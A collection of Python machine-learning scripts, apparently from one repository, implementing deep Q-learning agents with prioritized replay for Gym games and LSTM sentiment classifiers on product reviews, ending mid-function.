ModifiedTensorBoard(TensorBoard): # Overriding init to set initial step and writer (we want one log file for all .fit() calls) def __init__(self, **kwargs): super().__init__(**kwargs) self.step = 1 self.writer = tf.summary.FileWriter(self.log_dir) # Overriding this method to stop creating default log writer def set_model(self, model): pass # Overrided, saves logs with our step number # (otherwise every .fit() will start writing from 0th step) def on_epoch_end(self, epoch, logs=None): self.update_stats(**logs) # Overrided # We train for one batch only, no need to save anything at epoch end def on_batch_end(self, batch, logs=None): pass # Overrided, so won't close writer def on_train_end(self, _): pass # Custom method for saving own metrics # Creates writer, writes custom metrics and closes writer def update_stats(self, **stats): self._write_logs(stats, self.step) # Agent class class DQNAgent: def __init__(self, state_in_image=True): self.state_in_image = state_in_image # Main model self.model = self.create_model() # Target network self.target_model = self.create_model() self.target_model.set_weights(self.model.get_weights()) # An array with last n steps for training self.replay_memory = deque(maxlen=REPLAY_MEMORY_SIZE) # Custom tensorboard object self.tensorboard = ModifiedTensorBoard(log_dir="logs/{}-{}".format(MODEL_NAME, int(time.time()))) # Used to count when to update target network with main network's weights self.target_update_counter = 0 def create_model(self): # get the NN input length model = Sequential() if self.state_in_image: model.add(Conv2D(256, (3, 3), input_shape=env.OBSERVATION_SPACE_VALUES)) # OBSERVATION_SPACE_VALUES = (10, 10, 3) a 10x10 RGB image. model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Dropout(0.2)) model.add(Conv2D(256, (3, 3))) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Dropout(0.2)) model.add(Flatten()) # this converts our 3D feature maps to 1D feature vectors model.add(Dense(32)) else: # model.add(Dense(32, activation="relu", input_shape=(env.n_states,))) # model.add(Dense(32, activation="relu")) # model.add(Dropout(0.2)) # model.add(Dense(32, activation="relu")) # model.add(Dropout(0.2)) model.add(LSTM(128, activation="relu", input_shape=(None, env.n_states,), return_sequences=True)) model.add(Dropout(0.3)) model.add(LSTM(128, activation="relu", return_sequences=True)) model.add(Dropout(0.3)) model.add(LSTM(128, activation="relu", return_sequences=False)) model.add(Dropout(0.3)) model.add(Dense(env.ACTION_SPACE_SIZE, activation='linear')) # ACTION_SPACE_SIZE = how many choices (9) model.compile(loss="mse", optimizer=Adam(lr=0.001), metrics=['accuracy']) return model # Adds step's data to a memory replay array # (observation space, action, reward, new observation space, done) def update_replay_memory(self, transition): self.replay_memory.append(transition) # Trains main network every step during episode def train(self, terminal_state, step): # Start training only if certain number of samples is already saved if len(self.replay_memory) < MIN_REPLAY_MEMORY_SIZE: return # Get a minibatch of random samples from memory replay table minibatch = random.sample(self.replay_memory, MINIBATCH_SIZE) # Get current states from minibatch, then query NN model for Q values if self.state_in_image: current_states = np.array([transition[0] for transition in minibatch])/255 else: current_states = np.array([transition[0] for transition in minibatch]) current_qs_list = self.model.predict(np.expand_dims(current_states, axis=1)) # Get future states from minibatch, then query NN model for Q values # When using target network, query it, otherwise main network should be queried if self.state_in_image: new_current_states = np.array([transition[3] for transition in minibatch])/255 else: new_current_states = np.array([transition[3] for transition in minibatch]) future_qs_list = self.target_model.predict(np.expand_dims(new_current_states, axis=1)) X = [] y = [] # Now we need to enumerate our batches for index, (current_state, action, reward, new_current_state, done) in enumerate(minibatch): # If not a terminal state, get new q from future states, otherwise set it to 0 # almost like with Q Learning, but we use just part of equation here if not done: max_future_q = np.max(future_qs_list[index]) new_q = reward + DISCOUNT * max_future_q else: new_q = reward # Update Q value for given state current_qs = current_qs_list[index] current_qs[action] = new_q # And append to our training data X.append(current_state) y.append(current_qs) # Fit on all samples as one batch, log only on terminal state if self.state_in_image: self.model.fit(np.array(X)/255, np.array(y), batch_size=MINIBATCH_SIZE, verbose=0, shuffle=False, callbacks=[self.tensorboard] if terminal_state else None) else: # self.model.fit(np.array(X), np.array(y), batch_size=MINIBATCH_SIZE, verbose=0, shuffle=False, callbacks=[self.tensorboard] if terminal_state else None) self.model.fit(np.expand_dims(X, axis=1), np.array(y), batch_size=MINIBATCH_SIZE, verbose=0, shuffle=False, callbacks=[self.tensorboard] if terminal_state else None) # Update target network counter every episode if terminal_state: self.target_update_counter += 1 # If counter reaches set value, update target network with weights of main network if self.target_update_counter > UPDATE_TARGET_EVERY: self.target_model.set_weights(self.model.get_weights()) self.target_update_counter = 0 # Queries main network for Q values given current observation space (environment state) def get_qs(self, state): if self.state_in_image: return self.model.predict(np.array(state).reshape(-1, *state.shape)/255)[0] else: # return self.model.predict(np.array(state).reshape(1, env.n_states))[0] return self.model.predict(np.array(state).reshape(1, 1, env.n_states))[0] agent = DQNAgent(state_in_image=False) print("Number of states:", env.n_states) # agent.model.load_weights("models/2x32____22.00max___-2.44avg_-200.00min__1563463022.model") # Iterate over episodes for episode in tqdm(range(1, EPISODES + 1), ascii=True, unit='episodes'): # Update tensorboard step every episode agent.tensorboard.step = episode # Restarting episode - reset episode reward and step number episode_reward = 0 step = 1 # Reset environment and get initial state current_state = env.reset() # Reset flag and start iterating until episode ends done = False while not done: # This part stays mostly the same, the change is to query a model for Q values if np.random.random() > epsilon: # Get action from Q table action = np.argmax(agent.get_qs(current_state)) else: # Get random action action = np.random.randint(0, env.ACTION_SPACE_SIZE) new_state, reward, done = env.step(action) # Transform new continous state to new discrete state and count reward episode_reward += reward if SHOW_PREVIEW and not episode % AGGREGATE_STATS_EVERY: env.render() # Every step we update replay memory and train main network agent.update_replay_memory((current_state, action, reward, new_state, done)) agent.train(done, step) current_state = new_state step += 1 # Append episode reward to a list and log stats (every given number of episodes) ep_rewards.append(episode_reward) if not episode % AGGREGATE_STATS_EVERY or episode == 1: average_reward = sum(ep_rewards[-AGGREGATE_STATS_EVERY:])/len(ep_rewards[-AGGREGATE_STATS_EVERY:]) min_reward = min(ep_rewards[-AGGREGATE_STATS_EVERY:]) max_reward = max(ep_rewards[-AGGREGATE_STATS_EVERY:]) agent.tensorboard.update_stats(reward_avg=average_reward, reward_min=min_reward, reward_max=max_reward, epsilon=epsilon) # Save model, but only when min reward is greater or equal a set value if average_reward >= -220: agent.model.save(f'models/{MODEL_NAME}__{max_reward:_>7.2f}max_{average_reward:_>7.2f}avg_{min_reward:_>7.2f}min__{int(time.time())}.model') # Decay epsilon if epsilon > MIN_EPSILON: epsilon *= EPSILON_DECAY epsilon = max(MIN_EPSILON, epsilon) agent.model.save(f'models/{MODEL_NAME}__{max_reward:_>7.2f}max_{average_reward:_>7.2f}avg_{min_reward:_>7.2f}min__{int(time.time())}.model') # OpenGym Seaquest-v0 # ------------------- # # This code demonstrates a Double DQN network with Priority Experience Replay # in an OpenGym Seaquest-v0 environment. # # Made as part of blog series Let's make a DQN, available at: # https://jaromiru.com/2016/11/07/lets-make-a-dqn-double-learning-and-prioritized-experience-replay/ # # author: Jaromir Janisch, 2016 import matplotlib import random, numpy, math, gym, scipy import tensorflow as tf import time from SumTree import SumTree from keras.callbacks import TensorBoard from collections import deque import tqdm IMAGE_WIDTH = 84 IMAGE_HEIGHT = 84 IMAGE_STACK = 2 HUBER_LOSS_DELTA = 2.0 LEARNING_RATE = 0.00045 #-------------------- Modified Tensorboard ----------------------- class RLTensorBoard(TensorBoard): def __init__(self, **kwargs): """ Overriding init to set initial step and writer (one log file for multiple .fit() calls) """ super().__init__(**kwargs) self.step = 1 self.writer = tf.summary.FileWriter(self.log_dir) def set_model(self, model): """ Overriding this method to stop creating default log writer """ pass def on_epoch_end(self, epoch, logs=None): """ Overrided, saves logs with our step number (if this is not overrided, every .fit() call will start from 0th step) """ self.update_stats(**logs) def on_batch_end(self, batch, logs=None): """ Overrided, we train for one batch only, no need to save anything on batch end """ pass def on_train_end(self, _): """ Overrided, we don't close the writer """ pass def update_stats(self, **stats): """ Custom method for saving own metrics Creates writer, writes custom metrics and closes writer """ self._write_logs(stats, self.step) #-------------------- UTILITIES ----------------------- def huber_loss(y_true, y_pred): err = y_true - y_pred cond = K.abs(err) < HUBER_LOSS_DELTA L2 = 0.5 * K.square(err) L1 = HUBER_LOSS_DELTA * (K.abs(err) - 0.5 * HUBER_LOSS_DELTA) loss = tf.where(cond, L2, L1) # Keras does not cover where function in tensorflow :-( return K.mean(loss) def processImage( img ): rgb = scipy.misc.imresize(img, (IMAGE_WIDTH, IMAGE_HEIGHT), interp='bilinear') r, g, b = rgb[:,:,0], rgb[:,:,1], rgb[:,:,2] gray = 0.2989 * r + 0.5870 * g + 0.1140 * b # extract luminance o = gray.astype('float32') / 128 - 1 # normalize return o #-------------------- BRAIN --------------------------- from keras.models import Sequential from keras.layers import * from keras.optimizers import * model_name = "conv2dx3" class Brain: def __init__(self, stateCnt, actionCnt): self.stateCnt = stateCnt self.actionCnt = actionCnt self.model = self._createModel() self.model_ = self._createModel() # target network # custom tensorboard self.tensorboard = RLTensorBoard(log_dir="logs/{}-{}".format(model_name, int(time.time()))) def _createModel(self): model = Sequential() model.add(Conv2D(32, (8, 8), strides=(4,4), activation='relu', input_shape=(self.stateCnt), data_format='channels_first')) model.add(Conv2D(64, (4, 4), strides=(2,2), activation='relu')) model.add(Conv2D(64, (3, 3), activation='relu')) model.add(Flatten()) model.add(Dense(units=512, activation='relu')) model.add(Dense(units=actionCnt, activation='linear')) opt = RMSprop(lr=LEARNING_RATE) model.compile(loss=huber_loss, optimizer=opt) return model def train(self, x, y, epochs=1, verbose=0): self.model.fit(x, y, batch_size=32, epochs=epochs, verbose=verbose, callbacks=[self.tensorboard]) def predict(self, s, target=False): if target: return self.model_.predict(s) else: return self.model.predict(s) def predictOne(self, s, target=False): return self.predict(s.reshape(1, IMAGE_STACK, IMAGE_WIDTH, IMAGE_HEIGHT), target).flatten() def updateTargetModel(self): self.model_.set_weights(self.model.get_weights()) #-------------------- MEMORY -------------------------- class Memory: # stored as ( s, a, r, s_ ) in SumTree e = 0.01 a = 0.6 def __init__(self, capacity): self.tree = SumTree(capacity) def _getPriority(self, error): return (error + self.e) ** self.a def add(self, error, sample): p = self._getPriority(error) self.tree.add(p, sample) def sample(self, n): batch = [] segment = self.tree.total() / n for i in range(n): a = segment * i b = segment * (i + 1) s = random.uniform(a, b) (idx, p, data) = self.tree.get(s) batch.append( (idx, data) ) return batch def update(self, idx, error): p = self._getPriority(error) self.tree.update(idx, p) #-------------------- AGENT --------------------------- MEMORY_CAPACITY = 50_000 BATCH_SIZE = 32 GAMMA = 0.95 MAX_EPSILON = 1 MIN_EPSILON = 0.05 EXPLORATION_STOP = 500_000 # at this step epsilon will be 0.01 LAMBDA = - math.log(0.01) / EXPLORATION_STOP # speed of decay UPDATE_TARGET_FREQUENCY = 10_000 UPDATE_STATS_EVERY = 5 RENDER_EVERY = 50 class Agent: steps = 0 epsilon = MAX_EPSILON def __init__(self, stateCnt, actionCnt, brain): self.stateCnt = stateCnt self.actionCnt = actionCnt self.brain = brain # self.memory = Memory(MEMORY_CAPACITY) def act(self, s): if random.random() < self.epsilon: return random.randint(0, self.actionCnt-1) else: return numpy.argmax(self.brain.predictOne(s)) def observe(self, sample): # in (s, a, r, s_) format x, y, errors = self._getTargets([(0, sample)]) self.memory.add(errors[0], sample) if self.steps % UPDATE_TARGET_FREQUENCY == 0: self.brain.updateTargetModel() # slowly decrease Epsilon based on our eperience self.steps += 1 self.epsilon = MIN_EPSILON + (MAX_EPSILON - MIN_EPSILON) * math.exp(-LAMBDA * self.steps) def _getTargets(self, batch): no_state = numpy.zeros(self.stateCnt) states = numpy.array([ o[1][0] for o in batch ]) states_ = numpy.array([ (no_state if o[1][3] is None else o[1][3]) for o in batch ]) p = agent.brain.predict(states) p_ = agent.brain.predict(states_, target=False) pTarget_ = agent.brain.predict(states_, target=True) x = numpy.zeros((len(batch), IMAGE_STACK, IMAGE_WIDTH, IMAGE_HEIGHT)) y = numpy.zeros((len(batch), self.actionCnt)) errors = numpy.zeros(len(batch)) for i in range(len(batch)): o = batch[i][1] s = o[0] a = o[1] r = o[2] s_ = o[3] t = p[i] oldVal = t[a] if s_ is None: t[a] = r else: t[a] = r + GAMMA * pTarget_[i][ numpy.argmax(p_[i]) ] # double DQN x[i] = s y[i] = t errors[i] = abs(oldVal - t[a]) return (x, y, errors) def replay(self): batch = self.memory.sample(BATCH_SIZE) x, y, errors = self._getTargets(batch) # update errors for i in range(len(batch)): idx = batch[i][0] self.memory.update(idx, errors[i]) self.brain.train(x, y) class RandomAgent: memory = Memory(MEMORY_CAPACITY) exp = 0 epsilon = MAX_EPSILON def __init__(self, actionCnt, brain): self.actionCnt = actionCnt self.brain = brain def act(self, s): return random.randint(0, self.actionCnt-1) def observe(self, sample): # in (s, a, r, s_) format error = abs(sample[2]) # reward self.memory.add(error, sample) self.exp += 1 def replay(self): pass #-------------------- ENVIRONMENT --------------------- class Environment: def __init__(self, problem): self.problem = problem self.env = gym.make(problem) self.ep_rewards = deque(maxlen=UPDATE_STATS_EVERY) def run(self, agent, step): img = self.env.reset() w = processImage(img) s = numpy.array([w, w]) agent.brain.tensorboard.step = step R = 0 while True: if step % RENDER_EVERY == 0: self.env.render() a = agent.act(s) img, r, done, info = self.env.step(a) s_ = numpy.array([s[1], processImage(img)]) #last two screens r = np.clip(r, -1, 1) # clip reward to [-1, 1] if done: # terminal state s_ = None agent.observe( (s, a, r, s_) ) agent.replay() s = s_ R += r if done: break self.ep_rewards.append(R) avg_reward = sum(self.ep_rewards) / len(self.ep_rewards) if step % UPDATE_STATS_EVERY == 0: min_reward = min(self.ep_rewards) max_reward = max(self.ep_rewards) agent.brain.tensorboard.update_stats(reward_avg=avg_reward, reward_min=min_reward, reward_max=max_reward, epsilon=agent.epsilon) agent.brain.model.save(f"models/{model_name}-avg-{avg_reward:.2f}-min-{min_reward:.2f}-max-{max_reward:2f}.h5") # print("Total reward:", R) return avg_reward #-------------------- MAIN ---------------------------- PROBLEM = 'Seaquest-v0' env = Environment(PROBLEM) episodes = 2_000 stateCnt = (IMAGE_STACK, IMAGE_WIDTH, IMAGE_HEIGHT) actionCnt = env.env.action_space.n brain = Brain(stateCnt, actionCnt) agent = Agent(stateCnt, actionCnt, brain) randomAgent = RandomAgent(actionCnt, brain) step = 0 try: print("Initialization with random agent...") while randomAgent.exp < MEMORY_CAPACITY: step += 1 env.run(randomAgent, step) print(randomAgent.exp, "/", MEMORY_CAPACITY) agent.memory = randomAgent.memory randomAgent = None print("Starting learning") for i in tqdm.tqdm(list(range(step+1, episodes+step+1))): env.run(agent, i) finally: agent.brain.model.save("Seaquest-DQN-PER.h5") import numpy as np class SumTree: """ This SumTree code is modified version of Morvan Zhou: https://github.com/MorvanZhou/Reinforcement-learning-with-tensorflow/blob/master/contents/5.2_Prioritized_Replay_DQN/RL_brain.py """ data_pointer = 0 def __init__(self, length): # number of leaf nodes (final nodes that contains experiences) self.length = length # generate the tree with all nodes' value = 0 # binary node (each node has max 2 children) so 2x size of leaf capacity - 1 # parent nodes = length - 1 # leaf nodes = length self.tree = np.zeros(2*self.length - 1) # contains the experiences self.data = np.zeros(self.length, dtype=object) def add(self, priority, data): """ Add priority score in the sumtree leaf and add the experience in data """ # look at what index we want to put the experience tree_index = self.data_pointer + self.length - 1 #tree: # 0 # / \ # 0 0 # / \ / \ #tree_index 0 0 0 We fill the leaves from left to right self.data[self.data_pointer] = data # update the leaf self.update(tree_index, priority) # increment data pointer self.data_pointer += 1 # if we're above the capacity, we go back to the first index if self.data_pointer >= self.length: self.data_pointer = 0 def update(self, tree_index, priority): """ Update the leaf priority score and propagate the change through the tree """ # change = new priority score - former priority score change = priority - self.tree[tree_index] self.tree[tree_index] = priority while tree_index != 0: # this method is faster than the recursive loop in the reference code """ Here we want to access the line above THE NUMBERS IN THIS TREE ARE THE INDEXES NOT THE PRIORITY VALUES 0 / \ 1 2 / \ / \ 3 4 5 [6] If we are in leaf at index 6, we updated the priority score We need then to update index 2 node So tree_index = (tree_index - 1) // 2 tree_index = (6-1)//2 tree_index = 2 (because // round the result) """ tree_index = (tree_index - 1) // 2 self.tree[tree_index] += change """ Here we get the leaf_index, priority value of that leaf and experience associated with that index """ def get_leaf(self, v): """ Tree structure and array storage: Tree index: 0 -> storing priority sum / \ 1 2 / \ / \ 3 4 5 6 -> storing priority for experiences Array type for storing: [0,1,2,3,4,5,6] """ parent_index = 0 while True: # the while loop is faster than the method in the reference code left_child_index = 2 * parent_index + 1 right_child_index = left_child_index + 1 # If we reach bottom, end the search if left_child_index >= len(self.tree): leaf_index = parent_index break else: # downward search, always search for a higher priority node if v <= self.tree[left_child_index]: parent_index = left_child_index else: v -= self.tree[left_child_index] parent_index = right_child_index data_index = leaf_index - self.length + 1 return leaf_index, self.tree[leaf_index], self.data[data_index] property def total_priority(self): return self.tree[0] # Returns the root node class Memory: # we use this to avoid some experiences to have 0 probability of getting picked PER_e = 0.01 # we use this to make a tradeoff between taking only experiences with high priority # and sampling randomly PER_a = 0.6 # we use this for importance sampling, from this to 1 through the training PER_b = 0.4 PER_b_increment_per_sample = 0.001 absolute_error_upper = 1.0 def __init__(self, capacity): # the tree is composed of a sum tree that contains the priority scores and his leaf # and also a data list # we don't use deque here because it means that at each timestep our experiences change index by one # we prefer to use a simple array to override when the memory is full self.tree = SumTree(length=capacity) def store(self, experience): """ Store a new experience in our tree Each new experience have a score of max_priority (it'll be then improved) """ # find the max priority max_priority = np.max(self.tree.tree[-self.tree.length:]) # if the max priority = 0 we cant put priority = 0 since this exp will never have a chance to be picked # so we use a minimum priority if max_priority == 0: max_priority = self.absolute_error_upper # set the max p for new p self.tree.add(max_priority, experience) def sample(self, n): """ - First, to sample a minimatch of k size, the range [0, priority_total] is / into k ranges. - then a value is uniformly sampled from each range - we search in the sumtree, the experience where priority score correspond to sample values are retrieved from. - then, we calculate IS weights for each minibatch element """ # create a sample list that will contains the minibatch memory = [] b_idx, b_is_weights = np.zeros((n, ), dtype=np.int32), np.zeros((n, 1), dtype=np.float32) # calculate the priority segment # here, as explained in the paper, we divide the range [0, ptotal] into n ranges priority_segment = self.tree.total_priority / n # increase b each time self.PER_b = np.min([1., self.PER_b + self.PER_b_increment_per_sample]) # calculating the max weight p_min = np.min(self.tree.tree[-self.tree.length:]) / self.tree.total_priority max_weight = (p_min * n) ** (-self.PER_b) for i in range(n): a, b = priority_segment * i, priority_segment * (i + 1) value = np.random.uniform(a, b) # experience that correspond to each value is retrieved index, priority, data = self.tree.get_leaf(value) # P(j) sampling_probs = priority / self.tree.total_priority # IS = (1/N * 1/P(i))**b /max wi == (N*P(i))**-b /max wi b_is_weights[i, 0] = np.power(n * sampling_probs, -self.PER_b)/ max_weight b_idx[i]= index experience = [data] memory.append(experience) return b_idx, memory, b_is_weights def batch_update(self, tree_idx, abs_errors): """ Update the priorities on the tree """ abs_errors += self.PER_e clipped_errors = np.min([abs_errors, self.absolute_error_upper]) ps = np.power(clipped_errors, self.PER_a) for ti, p in zip(tree_idx, ps): self.tree.update(ti, p) import tensorflow as tf class DDDQNNet: """ Dueling Double Deep Q Neural Network """ def __init__(self, state_size, action_size, learning_rate, name): self.state_size = state_size self.action_size = action_size self.learning_rate = learning_rate self.name = name # we use tf.variable_scope to know which network we're using (DQN or the Target net) # it'll be helpful when we will update our w- parameters (by copy the DQN parameters) with tf.variable_scope(self.name): # we create the placeholders self.inputs_ = tf.placeholder(tf.float32, [None, *state_size], name="inputs") self.is_weights_ = tf.placeholder(tf.float32, [None, 1], name="is_weights") self.actions_ = tf.placeholder(tf.float32, [None, self.action_size], name="actions_") # target Q self.target_q = tf.placeholder(tf.float32, [None], name="target") # neural net self.dense1 = tf.layers.dense(inputs=self.inputs_, units=32, name="dense1", kernel_initializer=tf.contrib.layers.xavier_initializer(), activation="relu") self.dense2 = tf.layers.dense(inputs=self.dense1, units=32, name="dense2", kernel_initializer=tf.contrib.layers.xavier_initializer(), activation="relu") self.dense3 = tf.layers.dense(inputs=self.dense2, units=32, name="dense3", kernel_initializer=tf.contrib.layers.xavier_initializer()) # here we separate into two streams (dueling) # this one is State-Function V(s) self.value = tf.layers.dense(inputs=self.dense3, units=1, kernel_initializer=tf.contrib.layers.xavier_initializer(), activation=None, name="value" ) # and this one is Value-Function A(s, a) self.advantage = tf.layers.dense(inputs=self.dense3, units=self.action_size, activation=None, kernel_initializer=tf.contrib.layers.xavier_initializer(), name="advantage" ) # aggregation # Q(s, a) = V(s) + ( A(s, a) - 1/|A| * sum A(s, a') ) self.output = self.value + tf.subtract(self.advantage, tf.reduce_mean(self.advantage, axis=1, keepdims=True)) # Q is our predicted Q value self.Q = tf.reduce_sum(tf.multiply(self.output, self.actions_)) self.absolute_errors = tf.abs(self.target_q - self.Q) # w- * (target_q - q)**2 self.loss = tf.reduce_mean(self.is_weights_ * tf.squared_difference(self.target_q, self.Q)) self.optimizer = tf.train.RMSPropOptimizer(self.learning_rate).minimize(self.loss) import numpy class SumTree: write = 0 def __init__(self, capacity): self.capacity = capacity self.tree = numpy.zeros( 2*capacity - 1 ) self.data = numpy.zeros( capacity, dtype=object ) def _propagate(self, idx, change): parent = (idx - 1) // 2 self.tree[parent] += change if parent != 0: self._propagate(parent, change) def _retrieve(self, idx, s): left = 2 * idx + 1 right = left + 1 if left >= len(self.tree): return idx if s <= self.tree[left]: return self._retrieve(left, s) else: return self._retrieve(right, s-self.tree[left]) def total(self): return self.tree[0] def add(self, p, data): idx = self.write + self.capacity - 1 self.data[self.write] = data self.update(idx, p) self.write += 1 if self.write >= self.capacity: self.write = 0 def update(self, idx, p): change = p - self.tree[idx] self.tree[idx] = p self._propagate(idx, change) def get(self, s): idx = self._retrieve(0, s) dataIdx = idx - self.capacity + 1 return (idx, self.tree[idx], self.data[dataIdx]) import numpy as np from string import punctuation from collections import Counter from sklearn.model_selection import train_test_split with open("data/reviews.txt") as f: reviews = f.read() with open("data/labels.txt") as f: labels = f.read() # remove all punctuations all_text = ''.join([ c for c in reviews if c not in punctuation ]) reviews = all_text.split("\n") reviews = [ review.strip() for review in reviews ] all_text = ' '.join(reviews) words = all_text.split() print("Total words:", len(words)) # encoding the words # dictionary that maps vocab words to integers here vocab = sorted(set(words)) print("Unique words:", len(vocab)) # start is 1 because 0 is encoded for blank vocab2int = {word: i for i, word in enumerate(vocab, start=1)} # encoded reviews encoded_reviews = [] for review in reviews: encoded_reviews.append([vocab2int[word] for word in review.split()]) encoded_reviews = np.array(encoded_reviews) # print("Number of reviews:", len(encoded_reviews)) # encode the labels, 1 for 'positive' and 0 for 'negative' labels = labels.split("\n") labels = [1 if label is 'positive' else 0 for label in labels] # print("Number of labels:", len(labels)) review_lens = [len(x) for x in encoded_reviews] counter_reviews_lens = Counter(review_lens) # remove any reviews with 0 length cleaned_encoded_reviews, cleaned_labels = [], [] for review, label in zip(encoded_reviews, labels): if len(review) != 0: cleaned_encoded_reviews.append(review) cleaned_labels.append(label) encoded_reviews = np.array(cleaned_encoded_reviews) labels = cleaned_labels # print("Number of reviews:", len(encoded_reviews)) # print("Number of labels:", len(labels)) sequence_length = 200 features = np.zeros((len(encoded_reviews), sequence_length), dtype=int) for i, review in enumerate(encoded_reviews): features[i, -len(review):] = review[:sequence_length] # print(features[:10, :100]) # split data into train, validation and test split_frac = 0.9 X_train, X_test, y_train, y_test = train_test_split(features, labels, test_size=1-split_frac) X_test, X_validation, y_test, y_validation = train_test_split(X_test, y_test, test_size=0.5) print(f"""Features shapes: Train set: {X_train.shape} Validation set: {X_validation.shape} Test set: {X_test.shape}""") print("Example:") print(X_train[0]) print(y_train[0]) # X_train, X_validation = features[:split_frac*len(features)], features[split_frac*len(features):] # y_train, y_validation = labels[:split] import tensorflow as tf from utils import get_batches from train import * import tensorflow as tf from preprocess import vocab2int, X_train, y_train, X_validation, y_validation, X_test, y_test from utils import get_batches import numpy as np def get_lstm_cell(): # basic LSTM cell lstm = tf.contrib.rnn.BasicLSTMCell(lstm_size) # dropout to the cell drop = tf.contrib.rnn.DropoutWrapper(lstm, output_keep_prob=keep_prob) return drop # RNN paramaters lstm_size = 256 lstm_layers = 1 batch_size = 256 learning_rate = 0.001 n_words = len(vocab2int) + 1 # Added 1 for the 0 that is for padding # create the graph object graph = tf.Graph() # add nodes to the graph with graph.as_default(): inputs = tf.placeholder(tf.int32, (None, None), "inputs") labels = tf.placeholder(tf.int32, (None, None), "labels") keep_prob = tf.placeholder(tf.float32, name="keep_prob") # number of units in the embedding layer embedding_size = 300 with graph.as_default(): # embedding lookup matrix embedding = tf.Variable(tf.random_uniform((n_words, embedding_size), -1, 1)) # pass to the LSTM cells embed = tf.nn.embedding_lookup(embedding, inputs) # stackup multiple LSTM layers cell = tf.contrib.rnn.MultiRNNCell([get_lstm_cell() for i in range(lstm_layers)]) initial_state = cell.zero_state(batch_size, tf.float32) # pass cell and input to cell, returns outputs for each time step # and the final state of the hidden layer # run the data through the rnn nodes outputs, final_state = tf.nn.dynamic_rnn(cell, embed, initial_state=initial_state) # grab the last output # use sigmoid for binary classification predictions = tf.contrib.layers.fully_connected(outputs[:, -1], 1, activation_fn=tf.sigmoid) # calculate cost using MSE cost = tf.losses.mean_squared_error(labels, predictions) optimizer = tf.train.AdamOptimizer(learning_rate).minimize(cost) # nodes to calculate the accuracy correct_pred = tf.equal(tf.cast(tf.round(predictions), tf.int32), labels) accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32)) saver = tf.train.Saver() ########### training ########## epochs = 10 with tf.Session(graph=graph) as sess: sess.run(tf.global_variables_initializer()) iteration = 1 for e in range(epochs): state = sess.run(initial_state) for i, (x, y) in enumerate(get_batches(X_train, y_train, batch_size=batch_size)): y = np.array(y) x = np.array(x) feed = {inputs: x, labels: y[:, None], keep_prob: 0.5, initial_state: state} loss, state, _ = sess.run([cost, final_state, optimizer], feed_dict=feed) if iteration % 5 == 0: print(f"[Epoch: {e}/{epochs}] Iteration: {iteration} Train loss: {loss:.3f}") if iteration % 25 == 0: val_acc = [] val_state = sess.run(cell.zero_state(batch_size, tf.float32)) for x, y in get_batches(X_validation, y_validation, batch_size=batch_size): x, y = np.array(x), np.array(y) feed = {inputs: x, labels: y[:, None], keep_prob: 1, initial_state: val_state} batch_acc, val_state = sess.run([accuracy, final_state], feed_dict=feed) val_acc.append(batch_acc) print(f"val_acc: {np.mean(val_acc):.3f}") iteration += 1 saver.save(sess, "chechpoints/sentiment1.ckpt") test_acc = [] with tf.Session(graph=graph) as sess: saver = tf.train.Saver() saver.restore(sess, tf.train.latest_checkpoint('checkpoints')) test_state = sess.run(cell.zero_state(batch_size, tf.float32)) for ii, (x, y) in enumerate(get_batches(X_test, y_test, batch_size), 1): feed = {inputs: x, labels: y[:, None], keep_prob: 1, initial_state: test_state} batch_acc, test_state = sess.run([accuracy, final_state], feed_dict=feed) test_acc.append(batch_acc) print("Test accuracy: {:.3f}".format(np.mean(test_acc))) def get_batches(x, y, batch_size=100): n_batches = len(x) // batch_size x, y = x[:n_batches*batch_size], y[:n_batches*batch_size] for i in range(0, len(x), batch_size): yield x[i: i+batch_size], y[i: i+batch_size] import numpy as np import pandas as pd import tqdm from string import punctuation punc = set(punctuation) df = pd.read_csv(r"E:\datasets\sentiment\food_reviews\amazon-fine-food-reviews\Reviews.csv") X = np.zeros((len(df), 2), dtype=object) for i in tqdm.tqdm(range(len(df)), "Cleaning X"): target = df['Text'].loc[i] # X.append(''.join([ c.lower() for c in target if c not in punc ])) X[i, 0] = ''.join([ c.lower() for c in target if c not in punc ]) X[i, 1] = df['Score'].loc[i] pd.DataFrame(X, columns=["Text", "Score"]).to_csv("data/Reviews.csv") ### Model Architecture hyper parameters embedding_size = 64 # sequence_length = 500 sequence_length = 42 LSTM_units = 128 ### Training parameters batch_size = 128 epochs = 20 ### Preprocessing parameters # words that occur less than n times to be deleted from dataset N = 10 # test size in ratio, train size is 1 - test_size test_size = 0.15 from keras.models import Sequential from keras.layers import Embedding, LSTM, Dense, Activation, LeakyReLU, Dropout, TimeDistributed from keras.layers import SpatialDropout1D from config import LSTM_units def get_model_binary(vocab_size, sequence_length): embedding_size = 64 model=Sequential() model.add(Embedding(vocab_size, embedding_size, input_length=sequence_length)) model.add(SpatialDropout1D(0.15)) model.add(LSTM(LSTM_units, recurrent_dropout=0.2)) model.add(Dropout(0.3)) model.add(Dense(1, activation='sigmoid')) model.summary() return model def get_model_5stars(vocab_size, sequence_length, embedding_size, verbose=0): model=Sequential() model.add(Embedding(vocab_size, embedding_size, input_length=sequence_length)) model.add(SpatialDropout1D(0.15)) model.add(LSTM(LSTM_units, recurrent_dropout=0.2)) model.add(Dropout(0.3)) model.add(Dense(1, activation="linear")) if verbose: model.summary() return model import numpy as np import pandas as pd import tqdm import pickle from collections import Counter from sklearn.model_selection import train_test_split from utils import clean_text, tokenize_words from config import N, test_size def load_review_data(): # df = pd.read_csv("data/Reviews.csv") df = pd.read_csv(r"E:\datasets\sentiment\food_reviews\amazon-fine-food-reviews\Reviews.csv") # preview print(df.head()) print(df.tail()) vocab = [] # X = np.zeros((len(df)*2, 2), dtype=object) X = np.zeros((len(df), 2), dtype=object) # for i in tqdm.tqdm(range(len(df)), "Cleaning X1"): # target = df['Text'].loc[i] # score = df['Score'].loc[i] # X[i, 0] = clean_text(target) # X[i, 1] = score # for word in X[i, 0].split(): # vocab.append(word) # k = i+1 k = 0 for i in tqdm.tqdm(range(len(df)), "Cleaning X2"): target = df['Summary'].loc[i] score = df['Score'].loc[i] X[i+k, 0] = clean_text(target) X[i+k, 1] = score for word in X[i+k, 0].split(): vocab.append(word) # vocab = set(vocab) vocab = Counter(vocab) # delete words that occur less than 10 times vocab = { k:v for k, v in vocab.items() if v >= N } # word to integer encoder dict vocab2int = {word: i for i, word in enumerate(vocab, start=1)} # pickle int2vocab for testing print("Pickling vocab2int...") pickle.dump(vocab2int, open("data/vocab2int.pickle", "wb")) # encoded reviews for i in 